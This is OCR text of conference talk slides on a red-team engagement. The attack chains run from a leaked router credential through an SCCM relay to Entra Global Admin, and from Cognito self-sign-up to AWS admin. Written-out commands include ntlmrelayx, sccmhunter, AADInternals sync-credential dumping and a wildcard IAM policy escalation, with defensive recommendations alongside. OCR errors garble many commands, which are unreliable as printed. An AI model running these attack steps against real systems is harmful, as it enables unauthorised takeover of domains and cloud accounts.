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WhoamlI?

Venkatraman Kumar

Team Lead, Security Services at Securin

/+ years in security research and programming

Red teaming, adversary simulation, Cloud Security, Al
Security, Active Directory

20+ zero-day discoveries

Talks at LeHack, BSides, and SecurityFest
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Disclaimers

TECHNICAL DEPTH

We will trace the attack flows and explain the trust boundaries.
Individual techniques will stay at a high level.

EVIDENCE

Report screenshots have sensitive details redacted. Visible identifiers use
sample values where needed.
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Two quiet trust decisions

An exposed credential gave access to a forgotten edge
device.

A public source map exposed Cognito IDs; open sighup
reached an over-scoped AWS role.
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Objectives and crown jewels reached

RED TEAM OBJECTIVES

01

02

03

Establish an internal network
foothold

Demonstrate access to Pll

Demonstrate access to
source code

WHAT WE ACHIEVED

Domain Admin

Entra Global Administrator

Admin control of internal GitLab

servers

AWS root access across 5 accounts

Pll and source code access demonstrated
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External network Internal network Cloud

Domain user SCCM server Privileged group Account control Sync host
alex@sample.lcl sccm-01.sample.lcl AD admin role admin@sample.lcl sync-01.sample.lcl

@ — ®
am = 2

|
|
|
|
|
|
|
J

e = e e o

Cloud directory

Tenant admin role

Y 2
Service credential Certificate identity
svc-sms@sample.lcl admin@sample.lcl

Exposed credential L _____ -

Public code repository Edge router
198.51.100.24

v

Open NFS share Git access token Git service admin o=
files-01.sample.lcl Synthetic token git-01.sample.lcl Git servers
Multiple hosts

- — :
Ny > >
— o N |

I
I
I
1
I
I
I
]

Cloud accounts
Multiple accounts

All names and identifiers are synthetic. sample.lcl and 198.51.100.24 are example values.
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The first credential was already public

github.com, /eyample-org/sample-infra/blob/main/README.md
Files example-org / sample-infra / README.md

Preview Code Blame 1@ lines

A root credential in - :

public code opened a = if' # Sample environment conflguratlon
router inherited frOm README.md ROUTER_HOST=198.51.100.24

a 2022 acquisition. e 7 ROUTER UseR=adnin

scripts # Sample login for demonstraticn

infra Username/Password: admin/ SamplePass!282¢

docs

config.sample.yml

|
|
|
C
C
C
C
C
C
C

Public repository evidence with sample host and login values.
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The exposed credential opened the router

ssh root@l98.51.100.24 -D 80960

root@edge-01.sample.lcl:~#
i

At least one package 1nstalled on this device has Limited Support.
Run 'file show /etc/notices/unsupported.txt' for details.

-

root@edoe-01 -~ ! channel 3: open failed: connect failed: Operation timed out

root@edese-01:~#
root@edese-01:~# |

Sample router address and prompt replace the original identifiers.
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The router reached internal hosts

lee.11

.51.16@.12

[S—chain [-<>-127.
198.51.100.14

| DNS-request| jnp

Windows

uys Windows

ays Windows

Windows

Server

Server

Server

Server

B-|5-cha 1 8098—<><><>-1.2.2.2

uys Windows

Windows

Windows
Windows
Windows
Windows

Windows

Windows
Windows

Server

Server

Server

Server

Server

Server

Server

Server
Server

{name:

{name:

(name:

{name:

{name:

{name:

(name:

fname:

(name:

fname:

(name:

hnst-01.samnle_lc1)

host-02_samnle_lcl)

host-83.samnle_1c1)

ost-04_samnle._

samnle .

nst-06_samnle .

7.samnle.

1. samnle.
samnle .1
ast-1@.samnle.

1.samnle.

(domain

(domain:

(domain:

(domain:

(domain:

(domain

samnle

1cl

samnle_1c1)

(domain:s

(domain

{(domain:s

(domain:

(domain:

Internal routing check; hostnames and target IPs use sample values.
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From edge router to domain user

Router access Valid domain users Domain user access
Reachable internal Seclists username Password spray with a
networks, including the candidates checked sample password
domain against AD

A forgotten edge device became a path to an internal identity.

10



SCCM AdminService relay

icati ' i 6. Sm
1. Coerce authentication from site server machine »[ .. S Adming local group syn Chronized f
om .
@ w 2. Authentication from site server j) HE“ﬁ'ﬁ_»ﬂtdmms e
5 II|.‘-'-‘-\—|_|—'-'-'.F‘
H
§ =
- . I'.‘-"‘-|—|_|—-"'--‘
Frimary Site Senver .
II..‘-'-‘-\—|_|—'-'-'-P‘
Site Database

SME Provider

Primary site server shown; a passive site server can also be the source.

Diagram: Garrett Foster, SpecterOps (2023) + specterops.io/blog/2023/08/10/site-takeover-via-sccms-adminservice-api/
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SCCM accepted relayed authentication

sample@lab:~% ntlmrelavx.ov -t httos://sccm-@1.sample.lcl/AdminService/wmi/SMS Admin
--smbh2supbort --adminservice --logonname alex@sample.lcl --displavname alex --obiect S-1-5-21-111-222-333-1181 --debue

+] Impacket Library Installation Path: /usr/local/lib/python3.108/dist-packages/impacket
*] Protocol Client RPC loaded..

*] Protocol Client SMTP loaded..

#] Protocol Client SMB loaded..

#] Protocol Client IMAP loaded..

#] Protocol Client IMAPS loaded..

#] Protocol Client HTTP loaded..

#] Protocol Client HTTPS loaded..

*] Protocol Client LDAP loaded..

*] Protocol Client LDAPS loaded..

*] Protocol Client DCSYNC loaded..

#] Protocol Client MSSQL loaded..

+] Protocol Attack LDAP loaded..

+] Protocol Attack LDAPS loaded..

+] Protocol Attack RPC loaded..

+] Protocol Attack HTTP loaded..

+] Protocol Attack HTTPS loaded..

+] Protocol Attack IMAP loaded..

+] Protocol Attack IMAPS loaded..

+] Protocol Attack SMB loaded..

+] Protocol Attack DCSYNC loaded..

+] Protocol Attack MSSQL loaded. .

#] Running in relay mode to single host
#] Setting up SMB Server

#] Setting up HTTP Server on port 80
#] Setting up WCF Server

#] Setting up RAW Server on port 6666

*1 Sarware ctartad waitinn far rannartinne
ntlmrelayx.py -t https://sccm-81.sample.lcl/AdminService/wmi/SM5_Admin --smb2support --adminservice --logonname alex@sample.lcl --displayname alex --object S-1-5-21-111-222-333-11@1 --debu
#] SMBD-Thread—5 (process_request_thread): Heceived connection trom attacking target
*] Exiting standard auth flow to add SCCM admin...
:‘] Authenticating against (o p_p1 sample.lcl as 'alex@sample.lcl
] Adding administrator via svim AGninservice.. .
#] SMBD-Thread—7 (process_request_thread): Received connection from attacking target
Exiting standard auth flow te add SCCM admin...
Authenticating against
Skipping user since attack was already pertormed

AdminService relay output with sample host and user values.




SCCM site serversin scope

mole.
mole.
sample.
amole.

5.sample.

.sample.
mole.
sample.
sample.
5.sample.
amole.
mole.
sample.
sample.

amole.

21.sample.

mole.
mole.
sample.
amole.
amole.

7.sample.

.sample.
amole.

mole.

Site server enumeration; hostnames and site codes use sample values.
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SCCM admin access and script action

$ python3 sccmhunter admin -u alex@sample.lcl -p SamplePass!2826 -ip 198.51.188.280

SCCMHunter v1.@.
J.Jlﬁllb;pyfhonja pa 5 go/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARCY has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARCY and will be removed from this module in 48.8.0.
arcd = algorithm
.] Enter hulp for extra shell commands

skad SCCM to list current SMS Admins.
Jusr/1ib/pythen3/dist-pack nego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARCY has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARCY and will be removed from this medule in 48.8.0.
arc4 = algorithms.ARCY(self. vl

Admin role check after relay.

samplehalex (C:\) >3 crip :\Temp\sample-script.txt
L LA T e P2 _NTLM_raw/crypro.py:4b: LTYpPLograpnyueprecatlonNWarning: AHLY NAs Deen moved
arcd = algorithms.ARCY({self.
[+] Updatuz 5 ript created successfu
[+] Script with guid17911111-2222- 4442 apprnued.

[+] Script with guid7777111-2222-3 executed.
[+] Got result:

command completed successfully.

Script with GUID 11111111-2222

Script execution confirmed the new administrative capability.
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Service identity reached AD control

ACCESS ADMGR IAM@SAMPLE.LCL

smsadmins@sample.lcl
-Group

GenencAll

o
Loy ; :
ACCESS-ADMGR-CLOUD@sample.lcl 'TAdminService@sample Icl

Group and account permissions after the SCCM foothold.

generchd
SEN
w J—

2
sample Il

[TAdmiInService@sample lcl

ITAdminService and the sample.lcl domain object.
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The sync server linked AD and Entra

PS C:\Windows\system32> Get-AADIntSyncCredentials

AADUser : Sync_SAMPLE_AADCONNECT_e1
AADUserPassword : SamplePass! 2026

ADDomaini i sample.lcl

ADUser1 : admin@sample.lcl
ADUserPasswordl : SamplePass!2026

The recovered sync material led to a Global Admin identity.

Sync credential output with sample account and tenant values.
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Entra administrator access

PS C:\Windows\system32> Get-AADIntGlobalAdmins
UserPrincipalName ObjectId

Office 365 Admin admin@sample.lcl 11111111-2222-3333-4444-555555555555
Security Admin user-@l@sample.lcl BEEEEEER-000G-PERR-000E-BRE0ABRERERA1
Cloud operator user-e2@sample.lcl BEEEEERR-0006-BERE-008R -0000EABERBE2
sync Admin user-a3@sample.lcl 00PePRR0 - 9000 - 00RO -0PEL-0000AE00ERE3
Audit Admin user-ed4@sample.lcl 000e00R0 - 9000 - 00RO -000R-000PAA00L00
Backup Admin user-as@sample.lcl EPEERARR-P0R0-PBER-NPRR -AA0AAABERES

PS C:\Windows\system32> Get-AADIntUser admin@sample.lcl | Select UserPrincipalName,ImmutableId,ObjectId
UserPrincipalName ImmutableTd ObjectId

admin@sample.lcl sample-anchor-81 11111111-2222-3333-4444-555555555555

PS C:\Windows\system32> Set-AADIntAzureADObject sample-anchor-01 Sample Admin
>>

cloudAnchor . sample-anchor-01
ErrorDetails : ErrorDetails

1 User

1 Success

H
ResultErrorDescription : ResultErrorDescription

SourceAnchor * sample-anchor-e1
SyncOperation ¢ ooeL

Sample account output and display-name proof of administrator access.




The second branch began with NFS

nxc nfs --shares
Target supported NFS versions:
Enumerating NFS Shares
uID Storage Usage

6GB/223.

248 .5GB/364.7GB  /vol/home
284.7GB/377.7GB /vol/home
126.1GB/162.2GB /vol/home
595.4GB/964.3GB  /vol/home
249 .4GB/353.2GB  /vol/home
276.7GB/394.6GB /vol/home
208 .9GB/247. 4GB /vol/home
202.5GB/246.0GB  /vol/home
876.9GB/1.0TB /vol/home
1.3TB/1.8TB fvol/iems

379.4GB/512.1GB /vol/haome
401.5GB/777.5GB /vol/home
175.8GB/270.0GB  /vol/home
194 .4GB/322.7GB  /vol/home
4y47.7GB/834.8GB /vol/home
546 .2GB/901.7GB /vol/home
972.2GB/1.6TB /vol/home
701.3GB/1.1TB /vol/home
1003.6GB/2.0TB Jvol/hom
248 .5GB/306.9GB /vol/home
302.3GB/435.1GB  /vol/home
196.2GB/323.5GB  /vol/home
253.3GB/293.9GB  /vol/home
596.7GB/708.5GB /vol/home
632.9GB/875.0GB /vol/home
1.0TB/1.5TB /vol/home7_
314.8GB/375.4GB  /vol/home
517.1GB/763.7GB /vol/home
263.7GB/376.0GB /vol/home
63.2GB/164.6GB /vol/homes
93.9GB/194.0GB /vol/homes
772 .4GB/1015.5GB /vol/home
203.3GB/418.9GB /vol/home

NFS — GITLAB — AWS

An unauthenticated
NFS share exposed
home directories.

HHHHHHH"ISHHHHHHHH
KX X XX XXX KX XXX XX XX

E

¢}
¢}
e
[¢]
¢}
¢}
e
[¢]
¢}
¢}
¢}
e
[¢]
¢}
¢}
e
uy
¢}
¢}
e
[¢]
]
¢}
¢}
e
e
¢}
¢}
e
[¢]
¢}
¢}
¢}
]

HHHHHHHH"I!HHHHHHHH
KX XXX XXX XM X XXX X XXX

Redacted share enumeration showing accessible home directories.
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Shell history exposed a GitLab PAT

rep —ia 'PRIVATE-TOHKEN'

The token moved the path from files on disk into the internal GitLab
API.

Redacted shell history with repeated GitLab API token use.
22



The GitLab token belonged to an admin

Total Spent
0] 1153 B @:00:01 6:80:01 —:—:—

The APl response showed an
administrator account.

Full redacted output at left; admin flag enlarged at right.
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GitLab variables extended the path

'settings/ci_cd

Project information

[ Repository Type T Key Value Options Environments
(¥ Issues 0
Variable GITLAB_TO R 1) Masked, All (default) (% s
§3 Merge requests 0 Expanded
¢ Cl/CD
Variable GITLAB_TO R Expanded All (default) (% P
P Security and Compliance
) Deployments
Variable GITLAB_TO R ) Expanded All (default) [ y
8 Packages and registries
@ Infrastructure
Variable GITLAB_TO R i) Expanded All (default) 3 P
Variable GITLAB_ R ) Expanded All (default) (3 y
Variable GITLAB_ R - Expanded All (default) (3 y
Variable GITLAB_ R ) Expanded All (default) [ P
Variable GITLAB_ R Expanded All (default) (3 y

Redacted CI/CD variables listing; values remain masked.



Cloud account access

[Alt+5] 3] fal @ @ Global v

Billing and Cost < Billing and Cost Management home i+

Management

# Cost summary info i Cost monitor info

Home

Geﬂl;hj Started

Month-to-date cost Last month's cost for same time period Budgets status

Bills 4 26% compared to last month for same period Nov 1-4 1 active budget(s)

Cost anomalies status (MTD)
Payments Total forecasted cost for current month Last month's total cost @ None detected
Credits 1 monitor(s) active

Purchase Orders 4 11% compared to last month’s total costs

Cost Analysis

Cost Explorer

Cost Explorer Saved Reports View bill P p
Cost Anomaly Detection

Free Tier i Cost breakdown s i Recommended actions (5) inf

Data Exports
Group costs by

Cost Organization

Service ¥

Cost Categories

Cost Allocation Tags

Billing Conductor (K]

Budgets and Planning
Budgets

Budgets Reports

Pricing Calculator (Preview) New

Savings and Commitments

Cost Optimization Hub New

AWS console screenshot; billing figures and account details remain redacted.
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EDR visibility: what was missed and what was caught

OBSERVED IN THIS PATH

Certificates carried most AD pivots.

On SCCM, SAM/LSA extraction yielded the service credential.

An earlier LSASS attempt was caught; the SOC reset an account but it was too-late.
BYOVD - BRING YOUR OWN VULNERABLE DRIVER

A signed vulnerable driver may access kernel memory or impair EDR, reducing some
user-mode LSASS signals.
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Defender replay: the infrastructure road

EDGE + REPOSITORIES

Inventory acquired devices. Scan repo
history with TruffleHog; block secrets
before push and rotate exposed keys.

NFS SHARES

Enumerate exports. Remove anonymous
access and restrict home directories to
required clients.

SCCM

Monitor AdminService access and SMS
Admins local group changes on every
SMS Provider.

CERTIFICATES + SYNC

Review certificate template and
account-mapping changes; alert on
directory sync host access.
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Public SPA Cognito identity

—
AR

</ > | — |
SPA source maps Open self-registratian User-pool ID token
Pool IDs, region, bucket names Confirm own email Low-privilege identity

Cognito identity path to AWS administrator access

l
°
I

gl 1) N

Identity Pool
Getld
GetCredentialsForldentity

AWS account

Temporary| AWS creds

Authentigated role

_ T TTIrETTTA

0,

|
nternal 3 bucket Long-lived IAM key

Deployment artifact : Stored in artifact

>

Attached policy
1AM user principal

Policy version
Mew default: **

iam:CreatePolicyVersion

AWS admin

Production account
53, RDS, secrets
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Client config and open sighup

Source maps exposed pool IDs and bucket names.

Open sighup produced a low-privilege account.

The ID token became input to the Identity Pool.
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Open registration accepted a new user

aws cognito—-idp sign-up \
——client-id "$CLIENT_ID" ——username "$EMAIL" ——password "$PASSWORD" \
—user—-attributes "Name=email Value=$EMAIL"™ \
—region "$REGION" —--no-sign-request
{
"UserConfirmed": false,
"CodeDeliveryDetails": {
"Destination": "whk*k@orkx"
"DeliveryMedium": "EMAIL",
"AttributeName": "email"

¥,

"UserSub":

aws cognito-idp confirm-sign-up \
——client-id "$CLIENT_ID" ——username "$EMAIL" \
——confirmation-code ——region "$REGION" —-no-sign-request

SignUp returned a user ID; email confirmation followed.

Redacted Cognito CLI output. No email address or pool ID is displayed.




Web login to temporary AWS credentials

GetCredentialsForIdentity

aws sts get—-caller-identity

"UserId": "ARO
"Account": "9
"Arn": "arn:aws:sts:: assumed-role/ cognito- role/Cognito

STS identified an assumed Cognito role.

The role identity confirms the temporary-credential foothold.

30



The authenticated role reached S3

s3 1s s3://
PRE

PRE

PRE

PRE

PRE

PRE

PRE

PRE

PRE

PRE

PRE

PRE

PRE

PRE

2018-09-28 15:38:42 202

The S3 listing succeeded with the temporary role.

Bucket paths and object names remain masked in the screenshot.




S3 artifact to long-lived IAM key

The authenticated role could read an internal S3 bucket.

A deployment artifact contained a long-lived IAM user key.

The credential outlived the temporary Cognito session.
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The recovered key resolved to an IAM user

aws sts get-caller-identity ——region "$REGION"

"UserId": "AID
"Account": "o

"Arn": "arn:aws:liam:: artifact-user"

STS now reported an IAM user principal.

The identity changed from an assumed role to a persistent user key.




The IAM user could change a policy version

aws iam get-policy-version \
—policy-arn 'arn:aws:iam: —policy' \
——version-id v1 \
——query 'PolicyVersion.Document.Statement' \
—output json

[
{

"Action": [
"iam:CreatePolicyVersion”,
"iam:GetPolicy",
"iam:ListPolicyVersions"

1,

"Resource": "arn:aws:lam:
"Effect": "Allow"

The policy allowed iam:CreatePolicyVersion.

The permission targeted the managed policy shown in the query & The policy was already attached to the IAM user.




A default policy version unlocked admin actions

aws iam create-policy-version \
——policy-arn "$POLICY_ARN" \
——policy-document '{"Version":"2812-10-17","Statement":[{"Effect":"Allow", "Action":"*" "Resource":"*"}]}' \
——set-as—default \
——query 'PolicyVersion.Versionld'
IIVLI-“

-

aws iam create-user \
——user-name ¢ proof-user \
——tags Key: PrivilegeProof \
—query 'User. {Name:UserName Arn:Arn, Created:CreateDate}'
—output table

The new *:* default was followed by CreateUser.

The created proof user demonstrates effective IAM permissions.




Four breaks in the Cognito-to-admin chain

01

02

03

04

Control self-registration

Invite-only, or screen public signups.

Scope the Cognito role

Bind pool trust (aud/amr); remove internal S3 access.

Protect deployment artifacts

Restrict buckets; use temporary workload credentials.

Block policy-version escalation

Deny CreatePolicyVersion and SetDefaultPolicyVersion.
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Where agents can change red teaming

O] Organization recon

Map acquisitions, domains, repos and exposed
services
An agent keeps the target picture current

02 Client-side parsing

Read JS bundles and source maps for endpoints
and auth flows
An agent turns code clues into testable leads

03 Path correlation

Connect identities, permissions, secrets and trust
boundaries
An agent joins findings across systems

04 Scoped validation

Test hypotheses in parallel and preserve evidence

A human operator reviews impact and next steps

lllustrative agent use cases - Not limited to these four examples
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Defense in depth for agent-paced attacks

o1

02

03

04

Segment the environment

Cover hosts with EDR

SOC + Al-assisted correlation

Contain across layers

Isolate inherited assets; limit internal reach

Detect credential access, tampering and lateral
movement

Join identity, endpoint, network and cloud
signals

Revoke sessions, disable roles and isolate hosts
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Questions?

Venkatraman Kumar
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